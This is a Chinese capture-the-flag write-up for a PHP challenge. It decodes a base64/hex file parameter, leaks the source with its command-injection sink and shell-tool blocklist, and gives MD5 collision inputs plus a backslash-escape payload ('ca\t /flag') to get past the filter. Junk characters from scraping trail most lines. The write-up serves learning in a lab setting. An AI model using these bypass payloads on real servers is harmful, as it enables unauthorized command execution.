|
|
: |# F. k+ y8 i3 B+ c6 ]2 L
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>+ Y* S* }3 f+ s3 _
<p> </p>
. F( L+ X# L9 ^8 w( j2 l% f a<p> </p>
# z/ C+ k+ v1 f j |+ W<p> 题目打开如下，?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=，同时查看源代码</p>
. @. |- g/ C* @- g0 A<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>' @6 C! h' Q7 p, \/ I- L
<p> </p>& n8 n! c# @ u
<p> </p>* E& t* t/ X0 L& p! Y& ~
<p>这里有个MD5 is funny，说明这个题目大概率跟MD5有关</p>
3 K8 M2 v! F1 H P# d<p>然后我抓包了一下，消息头里面没有什么特殊的东西，于是我尝试从url入手</p>$ L+ E J+ ]6 B$ r
<p>首先把那个进行一次base64位解码</p>: m& y% U. g9 r; t; k
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
; O; q6 I% B5 s% \1 |+ W7 X* w<p> </p>
& k h6 v9 @+ w<p> </p>
( W5 ]- m! a- s% B$ E/ y<p> 解码一次以后还是很像base64编码，于是又解码一次</p>
7 @( U5 |- u0 Y$ K. J<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
3 \$ m! \! t2 q" M, l<p> </p>
5 F- r& ^3 b! \<p> </p>
9 I4 `4 ~! h) ?) m1 c<p> 然后用hex解码一下得到了</p>
$ ?& K) ~+ T8 ?- e- {" `0 L2 V2 S<div class="cnblogs_Highlighter">: M# z! @4 C* p
<pre class="brush:sql;gutter:true;">555.png# r* z$ m: D6 R3 n1 T
</pre>
) W/ N& W- D5 S- Y$ S1 ?5 [</div>
" ^& ^9 f- T( m7 I. G/ B<p> 用同样的方法把index.php进行加密</p>. }- C) A. z; z( @- u7 w: T
<div class="cnblogs_Highlighter">5 w3 ?# a! ^- _, X0 h
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
( J; H3 \$ Z' h5 r</pre>! @* G, L( P, S; E/ a
</div>
5 {0 B& q& n; r& l/ u% N& h: L<p> 然后输入到地址栏</p>
; _6 ?0 j2 k2 w* }" i- m<p> 然后查看源代码，把源代码里面的那一串base64的编码解码</p>
& @/ ^3 ~9 @, B2 f7 J<div class="cnblogs_code">
/ y( e6 v; i/ }: y- w p<pre><?<span style="color: rgba(0, 0, 0, 1)">php
8 `- \1 [8 C5 {</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);1 l2 h+ A& B/ M' K! e U. @+ ~ w
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
5 I( M% W) Y7 g7 J; l' c</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];( D/ E0 i" y% P: ?
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) 4 _" I0 L9 q( `5 i* Y
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);
- P a: T" p9 N9 h$ J W! R</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
& r3 u* a4 c9 h8 z# Q Z
# G! ?, b. ]6 O q3 W</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);# o& T: S: _8 J) v5 x( G+ `' S
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
" z1 y! M$ P8 Q0 M; b </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;' d9 R5 H1 E3 R! ^; Q# D8 I
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi～ no flag"<span style="color: rgba(0, 0, 0, 1)">);- D) o4 R* N& ]+ A/ z
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {( D( n7 }- L2 V5 P0 Y) L1 y
</span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));: P! r& s3 e7 r( a* b3 @- l* r) E0 z
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;4 B# Y6 f& v; W' D+ X8 \ e+ Z+ ~
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
( {& `) M1 o, O5 C}* z- A% _$ p" `1 a
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
# ~; x2 c: k& x5 N4 G( P( O5 j</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">; u* G, L2 `8 R, A$ A% f; O$ s: t
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
( U7 J9 P' \4 f2 r </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
- w' w: f7 Q# ^4 Z0 E5 J. D+ X </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;! q) T+ I9 A, f- ]
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
* u& q# A7 o+ L9 f3 K/ a! h </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
# e: I( V5 n" ?, p7 i </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
3 w* D) s( Y) g: x ] } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {6 i; g' [5 N2 B6 p$ k1 j
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
0 _' [( b) W* u6 a- u& t& K _ }
' `. O6 b+ F& z: F}+ }2 |1 g. V; o3 G7 w
0 u' P9 q$ {% Q5 [8 {
</span>?>
! e' _) {) D3 W0 Q<html>
\( R+ b% k0 ^/ m" n* i% s. N<style><span style="color: rgba(0, 0, 0, 1)">
; J& j+ t) C. l, m body{0 Z# x$ I6 Y$ r
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;8 r$ K9 ~' ^/ [: a# C! {/ h
background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;7 g/ B' T6 x, G7 [
background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
9 }: x- T5 o8 X9 G6 Z. t- J background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
: b1 l8 H) m" B) x<span style="color: rgba(0, 0, 0, 1)">}" ^& | J" f6 K0 H* z3 ]
</span></style>( s* n7 O5 f' g
<body>
# ]7 |: K# ?, J$ N) y6 Y8 ]6 R</body>
% ?) u6 n. |' b% p- [</html></pre>
, p+ F; W1 Y- P+ c/ D</div>
7 D$ a( Q- H$ ~. E' R7 L<p>结合前面的推断，关键代码就在</p>+ O' l- P' t$ _+ I6 |6 o
<div class="cnblogs_code">( X! s9 P9 p& ^: a* w$ ?5 ?( [
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
4 o4 D1 \1 A3 R9 } </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
& X0 c" f: W4 S; a( | } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {' X, h( u. u: Y" P
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
) u0 i% l, N9 X( @3 B n+ t* c. O }</span></pre>4 S9 Y: u! r6 ~/ n! s5 }% W
</div>
+ O' T' A* J, R7 g<p>这种MD5是md5强碰撞</p>2 t$ [0 A7 D7 N& u1 [# L7 x
<div class="cnblogs_Highlighter">: ^3 t b; J* g" f& ^
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2/ V$ W# e8 a! [# B5 a, p
</pre>
1 M# ~) x+ i7 R& Q; d' A</div>% g7 Q: q! e1 h5 e' h/ J
<div class="cnblogs_Highlighter">: `! |7 N5 ~$ Y6 s
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a22 R9 o3 {; o# M" s
</pre>
7 X) b4 k5 Q# q) ^: u, |</div>
( s! n; e- Y6 x& N( K<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
- |1 s5 p: c" V7 q<p>于是采用payload:</p>. I7 T6 q2 H8 F" z5 z$ a$ g
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
% w9 t) {& \5 K% f% v& e( q5 p<p> </p>1 `0 ]% i- r/ `, t3 F
<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>/ v- O" n m! n7 T: j S7 \
<p>ls和l\s在命令执行的时候结果是一样的。</p>
3 l* S- w2 ?% q9 }3 T' j+ T<p>然后发现根目录里面有/flag</p>
" g4 b: Z# f% a9 V6 b; N$ {% Z<p>于是payload:</p>
1 K# W$ d; I( K3 p5 H5 A! o<div class="cnblogs_Highlighter">
8 R) b" L' } B' S; y k- I1 b<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
6 c2 d0 l8 w. K</pre>- V, P& ]- A7 i
</div>$ [2 }, I& q( B) o! F. Q5 e
<p> 对于这个题目，因为他没有屏蔽sort和dir</p>+ t$ z/ G: b* c
<p>所以查看也可以用dir来代替ls，cat可以用sort来代替。</p>
. X1 V: l! T1 T0 L6 Z<p> </p>/ m/ c; v) k$ w: G) z+ O
|
|
发表于 2022-2-12 14:35:42